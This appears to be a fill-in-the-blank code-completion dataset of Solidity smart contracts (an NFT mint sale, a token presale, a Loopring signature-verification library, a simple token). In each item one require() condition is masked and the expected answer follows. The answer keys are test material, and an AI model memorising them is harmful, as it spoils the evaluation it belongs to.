function worksPos() public view returns (uint256[] memory tokenIds){
}
/// @notice in underlyings token address array
/// @dev read in underlyings token address array
/// @return tokens address array
function getUnderlyings() public view returns (address[] memory tokens){
}
/// @notice Set the underlying asset token address
/// @dev Only allow the governance identity to set the underlying asset token address
/// @param ts The underlying asset token address array to be added
function setUnderlyings(address[] memory ts) public onlyGovernance {
}
/// @notice Delete the underlying asset token address
/// @dev Only allow the governance identity to delete the underlying asset token address
/// @param ts The underlying asset token address array to be deleted
function removeUnderlyings(address[] memory ts) public onlyGovernance {
}
/// @notice swap after handle
/// @param tokenOut token address
/// @param amountOut token amount
function swapAfter(
address tokenOut,
uint256 amountOut) internal override {
}
/// @notice collect after handle
/// @param token0 token address
/// @param token1 token address
/// @param amount0 token amount
/// @param amount1 token amount
function collectAfter(
address token0,
address token1,
uint256 amount0,
uint256 amount1) internal override {
}
/// @notice Asset transfer used to upgrade the contract
/// @param to address
function withdrawAll(address to) external onlyGovernance {
}
/// @notice Withdraw asset
/// @dev Only vault contract can withdraw asset
/// @param to Withdraw address
/// @param amount Withdraw amount
/// @param scale Withdraw percentage
function withdraw(address to, uint256 amount, uint256 scale) external onlyVault {
}
/// @notice Withdraw underlying asset
/// @dev Only vault contract can withdraw underlying asset
/// @param to Withdraw address
/// @param scale Withdraw percentage
function withdrawOfUnderlying(address to, uint256 scale) external onlyVault {
}
/// @notice Decrease liquidity by scale
/// @dev Decrease liquidity by provided scale
/// @param scale Scale of the liquidity
function _decreaseLiquidityByScale(uint256 scale) internal {
}
/// @notice Total asset
/// @dev This function calculates the net worth or AUM
/// @return Total asset
function assets() public view returns (uint256){
}
/// @notice idle asset
/// @dev This function calculates idle asset
/// @return idle asset
function idleAssets() public view returns (uint256){
}
/// @notice at work liquidity asset
/// @dev This function calculates liquidity asset
/// @return liquidity asset
function liquidityAssets() public view returns (uint256){
}
}
| extAuthorize(),"!vault" | 389,643 | extAuthorize() |
"Sale has already ended" | pragma solidity ^0.7.0;
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
contract Superpunk is ERC721, Ownable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Public variables
uint256 public constant MAX_NFT_SUPPLY = 2000;
uint256 public constant TEAM_RESERVE = 500;
uint256 public constant MAX_SALE_COUNT = MAX_NFT_SUPPLY - TEAM_RESERVE;
uint256 private forwardMintIndex = 0;
uint256 private reverseMintIndex = MAX_NFT_SUPPLY - 1;
uint256 public reserveMintedCount = 0;
address immutable proxyRegistryAddress;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory __name, string memory __symbol, string memory _uri, address _proxyRegistryAddress) ERC721(__name, __symbol) {
}
/**
* @dev Gets current Hashmask Price
*/
function getNFTPrice() public view returns (uint256) {
require(<FILL_ME>)
uint currentSupply = totalSupply() - reserveMintedCount;
if (currentSupply >= 1450) {
return 0.5 ether;
} else if (currentSupply >= 1400) {
return 0.3 ether;
} else if (currentSupply >= 1200) {
return 0.2 ether;
} else if (currentSupply >= 800) {
return 0.15 ether;
} else if (currentSupply >= 400) {
return 0.1 ether;
} else {
return 0.05 ether;
}
}
/**
* @dev Mints up to 500 SPs for team
*/
function mintTeamReserve(uint256 count) external onlyOwner {
}
/**
* @dev Mints Masks
*/
function mintNFT(uint256 numberOfNfts) external payable {
}
/**
* @dev Withdraw ether from this contract (Callable by owner)
*/
function withdraw() external onlyOwner {
}
function isApprovedForAll(address owner, address operator)
override
public
view
returns (bool)
{
}
}
| totalSupply()<=MAX_SALE_COUNT,"Sale has already ended" | 389,726 | totalSupply()<=MAX_SALE_COUNT |
"Sale has already ended" | pragma solidity ^0.7.0;
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
contract Superpunk is ERC721, Ownable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Public variables
uint256 public constant MAX_NFT_SUPPLY = 2000;
uint256 public constant TEAM_RESERVE = 500;
uint256 public constant MAX_SALE_COUNT = MAX_NFT_SUPPLY - TEAM_RESERVE;
uint256 private forwardMintIndex = 0;
uint256 private reverseMintIndex = MAX_NFT_SUPPLY - 1;
uint256 public reserveMintedCount = 0;
address immutable proxyRegistryAddress;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory __name, string memory __symbol, string memory _uri, address _proxyRegistryAddress) ERC721(__name, __symbol) {
}
/**
* @dev Gets current Hashmask Price
*/
function getNFTPrice() public view returns (uint256) {
}
/**
* @dev Mints up to 500 SPs for team
*/
function mintTeamReserve(uint256 count) external onlyOwner {
}
/**
* @dev Mints Masks
*/
function mintNFT(uint256 numberOfNfts) external payable {
require(<FILL_ME>)
require(numberOfNfts > 0, "numberOfNfts cannot be 0");
require(numberOfNfts <= 20, "You may not buy more than 20 NFTs at once");
require(totalSupply().add(numberOfNfts) <= MAX_SALE_COUNT, "Exceeds MAX_NFT_SUPPLY");
require(getNFTPrice().mul(numberOfNfts) == msg.value, "Ether value sent is not correct");
uint256 mintDirection = uint256(keccak256(abi.encodePacked(blockhash(block.number-1), totalSupply()))) % 2;
for (uint i = 0; i < numberOfNfts; i++) {
uint mintIndex = mintDirection == 0? forwardMintIndex ++: reverseMintIndex --;
_safeMint(msg.sender, mintIndex);
}
}
/**
* @dev Withdraw ether from this contract (Callable by owner)
*/
function withdraw() external onlyOwner {
}
function isApprovedForAll(address owner, address operator)
override
public
view
returns (bool)
{
}
}
| totalSupply()<MAX_SALE_COUNT,"Sale has already ended" | 389,726 | totalSupply()<MAX_SALE_COUNT |
"Exceeds MAX_NFT_SUPPLY" | pragma solidity ^0.7.0;
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
contract Superpunk is ERC721, Ownable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Public variables
uint256 public constant MAX_NFT_SUPPLY = 2000;
uint256 public constant TEAM_RESERVE = 500;
uint256 public constant MAX_SALE_COUNT = MAX_NFT_SUPPLY - TEAM_RESERVE;
uint256 private forwardMintIndex = 0;
uint256 private reverseMintIndex = MAX_NFT_SUPPLY - 1;
uint256 public reserveMintedCount = 0;
address immutable proxyRegistryAddress;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory __name, string memory __symbol, string memory _uri, address _proxyRegistryAddress) ERC721(__name, __symbol) {
}
/**
* @dev Gets current Hashmask Price
*/
function getNFTPrice() public view returns (uint256) {
}
/**
* @dev Mints up to 500 SPs for team
*/
function mintTeamReserve(uint256 count) external onlyOwner {
}
/**
* @dev Mints Masks
*/
function mintNFT(uint256 numberOfNfts) external payable {
require(totalSupply() < MAX_SALE_COUNT, "Sale has already ended");
require(numberOfNfts > 0, "numberOfNfts cannot be 0");
require(numberOfNfts <= 20, "You may not buy more than 20 NFTs at once");
require(<FILL_ME>)
require(getNFTPrice().mul(numberOfNfts) == msg.value, "Ether value sent is not correct");
uint256 mintDirection = uint256(keccak256(abi.encodePacked(blockhash(block.number-1), totalSupply()))) % 2;
for (uint i = 0; i < numberOfNfts; i++) {
uint mintIndex = mintDirection == 0? forwardMintIndex ++: reverseMintIndex --;
_safeMint(msg.sender, mintIndex);
}
}
/**
* @dev Withdraw ether from this contract (Callable by owner)
*/
function withdraw() external onlyOwner {
}
function isApprovedForAll(address owner, address operator)
override
public
view
returns (bool)
{
}
}
| totalSupply().add(numberOfNfts)<=MAX_SALE_COUNT,"Exceeds MAX_NFT_SUPPLY" | 389,726 | totalSupply().add(numberOfNfts)<=MAX_SALE_COUNT |
"Ether value sent is not correct" | pragma solidity ^0.7.0;
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
contract Superpunk is ERC721, Ownable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Public variables
uint256 public constant MAX_NFT_SUPPLY = 2000;
uint256 public constant TEAM_RESERVE = 500;
uint256 public constant MAX_SALE_COUNT = MAX_NFT_SUPPLY - TEAM_RESERVE;
uint256 private forwardMintIndex = 0;
uint256 private reverseMintIndex = MAX_NFT_SUPPLY - 1;
uint256 public reserveMintedCount = 0;
address immutable proxyRegistryAddress;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory __name, string memory __symbol, string memory _uri, address _proxyRegistryAddress) ERC721(__name, __symbol) {
}
/**
* @dev Gets current Hashmask Price
*/
function getNFTPrice() public view returns (uint256) {
}
/**
* @dev Mints up to 500 SPs for team
*/
function mintTeamReserve(uint256 count) external onlyOwner {
}
/**
* @dev Mints Masks
*/
function mintNFT(uint256 numberOfNfts) external payable {
require(totalSupply() < MAX_SALE_COUNT, "Sale has already ended");
require(numberOfNfts > 0, "numberOfNfts cannot be 0");
require(numberOfNfts <= 20, "You may not buy more than 20 NFTs at once");
require(totalSupply().add(numberOfNfts) <= MAX_SALE_COUNT, "Exceeds MAX_NFT_SUPPLY");
require(<FILL_ME>)
uint256 mintDirection = uint256(keccak256(abi.encodePacked(blockhash(block.number-1), totalSupply()))) % 2;
for (uint i = 0; i < numberOfNfts; i++) {
uint mintIndex = mintDirection == 0? forwardMintIndex ++: reverseMintIndex --;
_safeMint(msg.sender, mintIndex);
}
}
/**
* @dev Withdraw ether from this contract (Callable by owner)
*/
function withdraw() external onlyOwner {
}
function isApprovedForAll(address owner, address operator)
override
public
view
returns (bool)
{
}
}
| getNFTPrice().mul(numberOfNfts)==msg.value,"Ether value sent is not correct" | 389,726 | getNFTPrice().mul(numberOfNfts)==msg.value |
'Bots not allowed' | /** ____
.'* *.'
__/_*_*(_
/ _______ \
_\_)/___\(_/_
/ _((\- -/))_ \
\ \())(-)(()/ /
' \(((()))/ '
/ ' \)).))/ ' \
/ _ \ - | - /_ \
( ( .;''';. .' )
_\"__ / )\ __"/_
\/ \ ' / \/
.' '...' ' )
/ / | \ \
/ . . . \
/ . . \
/ / | \ \
.' / b '. '.
_.-' / Bb '-. '-._
_.-' | BBb '-. '-.
(___________\____.dBBBb.________)____)
╔╦╗┌─┐┌─┐┬┌─┐ ╔╗ ┌─┐┬ ┌─┐┌┐┌┌─┐┌─┐┬─┐
║║║├─┤│ ┬││ ╠╩╗├─┤│ ├─┤││││ ├┤ ├┬┘
╩ ╩┴ ┴└─┘┴└─┘ ╚═╝┴ ┴┴─┘┴ ┴┘└┘└─┘└─┘┴└─
https://magicbalancer.org/
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.6;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
contract Ownable {
address payable owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function transferOwnership(address payable newOwner) onlyOwner public {
}
}
interface MGBToken {
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address _owner) external returns (uint256 balance);
function mint(address wallet, address buyer, uint256 tokenAmount) external;
function showMyTokenBalance(address addr) external;
}
contract Presale is Ownable {
using SafeMath for uint256;
uint256 public startTime;
uint256 public endTime;
mapping(address=>uint256) public ownerAddresses;
mapping(address=>uint256) public BuyerList;
address public _burnaddress = 0x000000000000000000000000000000000000dEaD;
address payable[] owners;
uint256 public MAX_BUY_LIMIT = 3000000000000000000;
uint256 public majorOwnerShares = 100;
uint public referralReward = 10;
uint256 public coinPercentage = 56;
uint256 public rate = 999;
uint256 public weiRaised;
bool public isPresaleStopped = false;
bool public isPresalePaused = false;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Transfered(address indexed purchaser, address indexed referral, uint256 amount);
MGBToken public token;
constructor(address payable _walletMajorOwner)
{
}
fallback() external payable {
}
receive() external payable {}
function isContract(address _addr) public view returns (bool _isContract){
}
function buy(address beneficiary, address payable referral) public payable
{
require (isPresaleStopped != true, 'Presale is stopped');
require (isPresalePaused != true, 'Presale is paused');
require(<FILL_ME>)
require(beneficiary != address(0), 'user asking for tokens sent to be on 0 address');
require(validPurchase(), 'its not a valid purchase');
require(BuyerList[msg.sender] < MAX_BUY_LIMIT, 'MAX_BUY_LIMIT Achieved already for this wallet');
uint256 weiAmount = msg.value;
require(weiAmount <3000000000000000001 , 'MAX_BUY_LIMIT is 3 ETH');
uint256 tokens = weiAmount.mul(rate);
uint256 weiMinusfee = msg.value - (msg.value * referralReward / 100);
uint256 refReward = msg.value * referralReward / 100;
weiRaised = weiRaised.add(weiAmount);
splitFunds(referral, refReward);
token.transfer(beneficiary,tokens);
uint partnerCoins = tokens.mul(coinPercentage);
partnerCoins = partnerCoins.div(100);
BuyerList[msg.sender] = BuyerList[msg.sender].add(msg.value);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds(partnerCoins, weiMinusfee);
}
function splitFunds(address payable _b, uint256 amount) internal {
}
function forwardFunds(uint256 partnerTokenAmount, uint256 weiMinusfee) internal {
}
function addLiquidityPool(address payable partner) public onlyOwner {
}
function validPurchase() internal returns (bool) {
}
function hasEnded() public view returns (bool) {
}
function showMyTokenBalance(address myAddress) public returns (uint256 tokenBalance) {
}
function setEndDate(uint256 daysToEndFromToday) public onlyOwner returns(bool) {
}
function setPriceRate(uint256 newPrice) public onlyOwner returns (bool) {
}
function setReferralReward(uint256 newReward) public onlyOwner returns (bool) {
}
function pausePresale() public onlyOwner returns(bool) {
}
function resumePresale() public onlyOwner returns (bool) {
}
function stopPresale() public onlyOwner returns (bool) {
}
function BurnUnsoldTokens() public onlyOwner {
}
function startPresale() public onlyOwner returns (bool) {
}
function tokensRemainingForSale(address contractAddress) public returns (uint balance) {
}
function checkOwnerShare (address owner) public view onlyOwner returns (uint) {
}
}
| !(isContract(msg.sender)),'Bots not allowed' | 389,737 | !(isContract(msg.sender)) |
'MAX_BUY_LIMIT Achieved already for this wallet' | /** ____
.'* *.'
__/_*_*(_
/ _______ \
_\_)/___\(_/_
/ _((\- -/))_ \
\ \())(-)(()/ /
' \(((()))/ '
/ ' \)).))/ ' \
/ _ \ - | - /_ \
( ( .;''';. .' )
_\"__ / )\ __"/_
\/ \ ' / \/
.' '...' ' )
/ / | \ \
/ . . . \
/ . . \
/ / | \ \
.' / b '. '.
_.-' / Bb '-. '-._
_.-' | BBb '-. '-.
(___________\____.dBBBb.________)____)
╔╦╗┌─┐┌─┐┬┌─┐ ╔╗ ┌─┐┬ ┌─┐┌┐┌┌─┐┌─┐┬─┐
║║║├─┤│ ┬││ ╠╩╗├─┤│ ├─┤││││ ├┤ ├┬┘
╩ ╩┴ ┴└─┘┴└─┘ ╚═╝┴ ┴┴─┘┴ ┴┘└┘└─┘└─┘┴└─
https://magicbalancer.org/
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.6;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
contract Ownable {
address payable owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function transferOwnership(address payable newOwner) onlyOwner public {
}
}
interface MGBToken {
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address _owner) external returns (uint256 balance);
function mint(address wallet, address buyer, uint256 tokenAmount) external;
function showMyTokenBalance(address addr) external;
}
contract Presale is Ownable {
using SafeMath for uint256;
uint256 public startTime;
uint256 public endTime;
mapping(address=>uint256) public ownerAddresses;
mapping(address=>uint256) public BuyerList;
address public _burnaddress = 0x000000000000000000000000000000000000dEaD;
address payable[] owners;
uint256 public MAX_BUY_LIMIT = 3000000000000000000;
uint256 public majorOwnerShares = 100;
uint public referralReward = 10;
uint256 public coinPercentage = 56;
uint256 public rate = 999;
uint256 public weiRaised;
bool public isPresaleStopped = false;
bool public isPresalePaused = false;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Transfered(address indexed purchaser, address indexed referral, uint256 amount);
MGBToken public token;
constructor(address payable _walletMajorOwner)
{
}
fallback() external payable {
}
receive() external payable {}
function isContract(address _addr) public view returns (bool _isContract){
}
function buy(address beneficiary, address payable referral) public payable
{
require (isPresaleStopped != true, 'Presale is stopped');
require (isPresalePaused != true, 'Presale is paused');
require ( !(isContract(msg.sender)), 'Bots not allowed');
require(beneficiary != address(0), 'user asking for tokens sent to be on 0 address');
require(validPurchase(), 'its not a valid purchase');
require(<FILL_ME>)
uint256 weiAmount = msg.value;
require(weiAmount <3000000000000000001 , 'MAX_BUY_LIMIT is 3 ETH');
uint256 tokens = weiAmount.mul(rate);
uint256 weiMinusfee = msg.value - (msg.value * referralReward / 100);
uint256 refReward = msg.value * referralReward / 100;
weiRaised = weiRaised.add(weiAmount);
splitFunds(referral, refReward);
token.transfer(beneficiary,tokens);
uint partnerCoins = tokens.mul(coinPercentage);
partnerCoins = partnerCoins.div(100);
BuyerList[msg.sender] = BuyerList[msg.sender].add(msg.value);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds(partnerCoins, weiMinusfee);
}
function splitFunds(address payable _b, uint256 amount) internal {
}
function forwardFunds(uint256 partnerTokenAmount, uint256 weiMinusfee) internal {
}
function addLiquidityPool(address payable partner) public onlyOwner {
}
function validPurchase() internal returns (bool) {
}
function hasEnded() public view returns (bool) {
}
function showMyTokenBalance(address myAddress) public returns (uint256 tokenBalance) {
}
function setEndDate(uint256 daysToEndFromToday) public onlyOwner returns(bool) {
}
function setPriceRate(uint256 newPrice) public onlyOwner returns (bool) {
}
function setReferralReward(uint256 newReward) public onlyOwner returns (bool) {
}
function pausePresale() public onlyOwner returns(bool) {
}
function resumePresale() public onlyOwner returns (bool) {
}
function stopPresale() public onlyOwner returns (bool) {
}
function BurnUnsoldTokens() public onlyOwner {
}
function startPresale() public onlyOwner returns (bool) {
}
function tokensRemainingForSale(address contractAddress) public returns (uint balance) {
}
function checkOwnerShare (address owner) public view onlyOwner returns (uint) {
}
}
| BuyerList[msg.sender]<MAX_BUY_LIMIT,'MAX_BUY_LIMIT Achieved already for this wallet' | 389,737 | BuyerList[msg.sender]<MAX_BUY_LIMIT |
null | /** ____
.'* *.'
__/_*_*(_
/ _______ \
_\_)/___\(_/_
/ _((\- -/))_ \
\ \())(-)(()/ /
' \(((()))/ '
/ ' \)).))/ ' \
/ _ \ - | - /_ \
( ( .;''';. .' )
_\"__ / )\ __"/_
\/ \ ' / \/
.' '...' ' )
/ / | \ \
/ . . . \
/ . . \
/ / | \ \
.' / b '. '.
_.-' / Bb '-. '-._
_.-' | BBb '-. '-.
(___________\____.dBBBb.________)____)
╔╦╗┌─┐┌─┐┬┌─┐ ╔╗ ┌─┐┬ ┌─┐┌┐┌┌─┐┌─┐┬─┐
║║║├─┤│ ┬││ ╠╩╗├─┤│ ├─┤││││ ├┤ ├┬┘
╩ ╩┴ ┴└─┘┴└─┘ ╚═╝┴ ┴┴─┘┴ ┴┘└┘└─┘└─┘┴└─
https://magicbalancer.org/
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.6;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
contract Ownable {
address payable owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function transferOwnership(address payable newOwner) onlyOwner public {
}
}
interface MGBToken {
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address _owner) external returns (uint256 balance);
function mint(address wallet, address buyer, uint256 tokenAmount) external;
function showMyTokenBalance(address addr) external;
}
contract Presale is Ownable {
using SafeMath for uint256;
uint256 public startTime;
uint256 public endTime;
mapping(address=>uint256) public ownerAddresses;
mapping(address=>uint256) public BuyerList;
address public _burnaddress = 0x000000000000000000000000000000000000dEaD;
address payable[] owners;
uint256 public MAX_BUY_LIMIT = 3000000000000000000;
uint256 public majorOwnerShares = 100;
uint public referralReward = 10;
uint256 public coinPercentage = 56;
uint256 public rate = 999;
uint256 public weiRaised;
bool public isPresaleStopped = false;
bool public isPresalePaused = false;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Transfered(address indexed purchaser, address indexed referral, uint256 amount);
MGBToken public token;
constructor(address payable _walletMajorOwner)
{
}
fallback() external payable {
}
receive() external payable {}
function isContract(address _addr) public view returns (bool _isContract){
}
function buy(address beneficiary, address payable referral) public payable
{
}
function splitFunds(address payable _b, uint256 amount) internal {
}
function forwardFunds(uint256 partnerTokenAmount, uint256 weiMinusfee) internal {
}
function addLiquidityPool(address payable partner) public onlyOwner {
require(partner != address(0));
require(<FILL_ME>)
require(ownerAddresses[partner] == 0);
owners.push(partner);
ownerAddresses[partner] = 78;
uint majorOwnerShare = ownerAddresses[owner];
ownerAddresses[owner] = majorOwnerShare.sub(78);
}
function validPurchase() internal returns (bool) {
}
function hasEnded() public view returns (bool) {
}
function showMyTokenBalance(address myAddress) public returns (uint256 tokenBalance) {
}
function setEndDate(uint256 daysToEndFromToday) public onlyOwner returns(bool) {
}
function setPriceRate(uint256 newPrice) public onlyOwner returns (bool) {
}
function setReferralReward(uint256 newReward) public onlyOwner returns (bool) {
}
function pausePresale() public onlyOwner returns(bool) {
}
function resumePresale() public onlyOwner returns (bool) {
}
function stopPresale() public onlyOwner returns (bool) {
}
function BurnUnsoldTokens() public onlyOwner {
}
function startPresale() public onlyOwner returns (bool) {
}
function tokensRemainingForSale(address contractAddress) public returns (uint balance) {
}
function checkOwnerShare (address owner) public view onlyOwner returns (uint) {
}
}
| ownerAddresses[owner]>=78 | 389,737 | ownerAddresses[owner]>=78 |
null | /** ____
.'* *.'
__/_*_*(_
/ _______ \
_\_)/___\(_/_
/ _((\- -/))_ \
\ \())(-)(()/ /
' \(((()))/ '
/ ' \)).))/ ' \
/ _ \ - | - /_ \
( ( .;''';. .' )
_\"__ / )\ __"/_
\/ \ ' / \/
.' '...' ' )
/ / | \ \
/ . . . \
/ . . \
/ / | \ \
.' / b '. '.
_.-' / Bb '-. '-._
_.-' | BBb '-. '-.
(___________\____.dBBBb.________)____)
╔╦╗┌─┐┌─┐┬┌─┐ ╔╗ ┌─┐┬ ┌─┐┌┐┌┌─┐┌─┐┬─┐
║║║├─┤│ ┬││ ╠╩╗├─┤│ ├─┤││││ ├┤ ├┬┘
╩ ╩┴ ┴└─┘┴└─┘ ╚═╝┴ ┴┴─┘┴ ┴┘└┘└─┘└─┘┴└─
https://magicbalancer.org/
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.6;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
contract Ownable {
address payable owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function transferOwnership(address payable newOwner) onlyOwner public {
}
}
interface MGBToken {
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address _owner) external returns (uint256 balance);
function mint(address wallet, address buyer, uint256 tokenAmount) external;
function showMyTokenBalance(address addr) external;
}
contract Presale is Ownable {
using SafeMath for uint256;
uint256 public startTime;
uint256 public endTime;
mapping(address=>uint256) public ownerAddresses;
mapping(address=>uint256) public BuyerList;
address public _burnaddress = 0x000000000000000000000000000000000000dEaD;
address payable[] owners;
uint256 public MAX_BUY_LIMIT = 3000000000000000000;
uint256 public majorOwnerShares = 100;
uint public referralReward = 10;
uint256 public coinPercentage = 56;
uint256 public rate = 999;
uint256 public weiRaised;
bool public isPresaleStopped = false;
bool public isPresalePaused = false;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Transfered(address indexed purchaser, address indexed referral, uint256 amount);
MGBToken public token;
constructor(address payable _walletMajorOwner)
{
}
fallback() external payable {
}
receive() external payable {}
function isContract(address _addr) public view returns (bool _isContract){
}
function buy(address beneficiary, address payable referral) public payable
{
}
function splitFunds(address payable _b, uint256 amount) internal {
}
function forwardFunds(uint256 partnerTokenAmount, uint256 weiMinusfee) internal {
}
function addLiquidityPool(address payable partner) public onlyOwner {
require(partner != address(0));
require(ownerAddresses[owner] >=78);
require(<FILL_ME>)
owners.push(partner);
ownerAddresses[partner] = 78;
uint majorOwnerShare = ownerAddresses[owner];
ownerAddresses[owner] = majorOwnerShare.sub(78);
}
function validPurchase() internal returns (bool) {
}
function hasEnded() public view returns (bool) {
}
function showMyTokenBalance(address myAddress) public returns (uint256 tokenBalance) {
}
function setEndDate(uint256 daysToEndFromToday) public onlyOwner returns(bool) {
}
function setPriceRate(uint256 newPrice) public onlyOwner returns (bool) {
}
function setReferralReward(uint256 newReward) public onlyOwner returns (bool) {
}
function pausePresale() public onlyOwner returns(bool) {
}
function resumePresale() public onlyOwner returns (bool) {
}
function stopPresale() public onlyOwner returns (bool) {
}
function BurnUnsoldTokens() public onlyOwner {
}
function startPresale() public onlyOwner returns (bool) {
}
function tokensRemainingForSale(address contractAddress) public returns (uint balance) {
}
function checkOwnerShare (address owner) public view onlyOwner returns (uint) {
}
}
| ownerAddresses[partner]==0 | 389,737 | ownerAddresses[partner]==0 |
"bad multihash size" | /*
Copyright 2017 Loopring Project Ltd (Loopring Foundation).
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.7;
/// @title Utility Functions for Multihash signature verificaiton
/// @author Daniel Wang - <[email protected]>
/// For more information:
/// - https://github.com/saurfang/ipfs-multihash-on-solidity
/// - https://github.com/multiformats/multihash
/// - https://github.com/multiformats/js-multihash
library MultihashUtil {
enum HashAlgorithm { Ethereum, EIP712 }
string public constant SIG_PREFIX = "\x19Ethereum Signed Message:\n32";
function verifySignature(
address signer,
bytes32 plaintext,
bytes memory multihash
)
internal
pure
returns (bool)
{
uint length = multihash.length;
require(length >= 2, "invalid multihash format");
uint8 algorithm;
uint8 size;
assembly {
algorithm := mload(add(multihash, 1))
size := mload(add(multihash, 2))
}
require(<FILL_ME>)
if (algorithm == uint8(HashAlgorithm.Ethereum)) {
require(signer != address(0x0), "invalid signer address");
require(size == 65, "bad Ethereum multihash size");
bytes32 hash;
uint8 v;
bytes32 r;
bytes32 s;
assembly {
let data := mload(0x40)
mstore(data, 0x19457468657265756d205369676e6564204d6573736167653a0a333200000000) // SIG_PREFIX
mstore(add(data, 28), plaintext) // plaintext
hash := keccak256(data, 60) // 28 + 32
// Extract v, r and s from the multihash data
v := mload(add(multihash, 3))
r := mload(add(multihash, 35))
s := mload(add(multihash, 67))
}
return signer == ecrecover(
hash,
v,
r,
s
);
} else if (algorithm == uint8(HashAlgorithm.EIP712)) {
require(signer != address(0x0), "invalid signer address");
require(size == 65, "bad EIP712 multihash size");
uint8 v;
bytes32 r;
bytes32 s;
assembly {
// Extract v, r and s from the multihash data
v := mload(add(multihash, 3))
r := mload(add(multihash, 35))
s := mload(add(multihash, 67))
}
return signer == ecrecover(
plaintext,
v,
r,
s
);
} else {
return false;
}
}
}
| length==(2+size),"bad multihash size" | 389,748 | length==(2+size) |
null | pragma solidity 0.4.24;
contract SafeMath {
function safeSub(uint256 a, uint256 b) internal returns (uint256) {
}
function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
}
}
contract owned {
address public owner;
constructor() public {
}
modifier onlyOwner {
}
function transferOwnership(address newOwner) onlyOwner public {
}
}
contract HEAToken is SafeMath,owned {
string public name="C-money";
string public symbol="$$";
uint8 public decimals = 18;
uint256 public totalSupply=30000000000000;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
event Transfer(address indexed from, address indexed to, uint256 value);
event Freeze(address indexed from, bool frozen);
constructor(uint256 initialSupply, string tokenName, string tokenSymbol) public {
}
function _transfer(address _from, address _to, uint256 _value) internal {
}
function transfer(address _to, uint256 _value) public returns (bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(_spender != 0x0);
require(_value > 0);
require(<FILL_ME>)
require(!frozenAccount[msg.sender]);
require(!frozenAccount[_spender]);
allowance[msg.sender][_spender] = _value;
return true;
}
function freezeMethod(address target, bool frozen) onlyOwner public returns (bool success){
}
}
| balanceOf[_spender]>=_value | 389,777 | balanceOf[_spender]>=_value |
'All tokens have been minted' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
